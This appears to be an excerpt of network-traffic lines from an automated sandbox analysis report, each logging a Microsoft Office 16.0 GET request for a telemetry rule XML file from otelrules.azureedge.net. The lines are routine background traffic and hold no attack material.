Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
